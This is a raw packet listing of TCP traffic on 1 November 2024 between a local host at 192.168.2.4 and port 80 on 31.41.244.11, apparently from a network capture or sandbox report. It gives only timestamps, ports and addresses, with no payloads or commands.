Nov 1, 2024 10:57:09.754951000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.754973888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.754990101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755012035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755023003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755027056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755043030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755043030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755060911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755069017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755101919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755305052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755335093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755347967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755353928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755362034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755383015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755412102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755470037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755491972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755518913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755542994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755546093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755597115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755620003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755635023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755670071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755686998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755712986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755731106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755745888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755760908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755763054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755779028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755785942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755794048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755815029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755820990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755841970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755847931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755856991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.755876064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755897045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.755991936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756041050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756051064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756067038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756094933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756108999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756117105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756125927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756141901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756150961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756158113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756169081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756181955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756186962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756197929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756211042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756221056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756232977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756238937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756251097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756253004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756273031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756302118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756311893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756351948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756372929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756392002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756416082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756422997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756437063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756438971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756470919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756505966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756535053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756556034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756578922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756602049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756776094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756792068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756804943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756824970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756849051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756877899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756900072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756916046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756921053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756930113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756946087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756957054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.756959915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.756989956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757009029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757035971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757070065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757082939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757086992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757110119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757133007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757270098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757292986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757306099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757316113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757333994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757356882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757383108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757395983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757410049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757421017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757426977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757436037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757451057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757457018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757464886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757474899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757494926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757513046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757513046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757529974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757544994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757553101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757559061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757571936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757592916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757596016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757617950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757618904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757633924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757636070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757661104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757661104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757678032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757682085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757700920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757725000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757728100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757776976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757781982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757797956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757829905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757847071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757908106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757920980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757937908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757952929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.757957935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.757980108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758009911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758141041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758171082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758188963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758191109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758209944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758213043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758225918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758229017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758239985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758253098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758255005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758271933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758290052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758304119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758671045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758693933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758708954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758717060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758723974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758734941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758739948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758755922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758775949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758789062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758790970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758806944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758824110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758830070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758847952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758847952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758862972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758867979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758879900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758887053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758900881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758908033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758918047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758927107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758930922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758944988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758948088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758966923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758968115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.758986950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.758991957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759006023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759022951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759044886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759054899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759059906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759076118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759092093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759119034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759234905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759273052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759283066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759289026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759305954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759321928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759329081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759332895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759347916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759356022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759363890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759375095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759392977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759412050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759430885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759471893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759497881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759507895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759618044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759633064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759648085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759665966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759691000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759706020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759723902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759740114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759752989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759752989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759773970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759779930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759804010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759810925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759819984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759838104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759850979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759860992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759864092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.759871006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.759910107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760272026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760297060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760313034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760320902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760330915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760346889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760353088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760377884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760379076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760401011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760416031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.760426044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.760454893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.889303923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889334917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889348984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889406919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889405012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.889424086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889439106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889456034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889458895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.889486074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.889507055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.889960051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889976025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.889990091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890003920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890017033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890017986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890033960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890052080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890060902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890070915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890078068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890093088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890099049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890109062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890122890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890125036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890160084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890176058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890585899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890602112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890615940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890630007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890638113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890654087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890662909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890671968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890691996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890691996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890712023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890717030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890733004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890739918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890747070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890763044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890763998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890780926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890793085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890810966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890826941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890835047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890857935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890860081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890872955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890885115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890888929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890903950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890909910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890917063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890930891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890932083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890947104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890959978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.890964985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.890986919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891009092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891113043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891128063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891144991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891172886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891184092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891199112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891200066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891217947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891231060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891235113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891244888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891251087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891264915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891269922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891287088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891288042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891304970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.891324043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.891350985 CET	49820	80	192.168.2.4	31.41.244.11
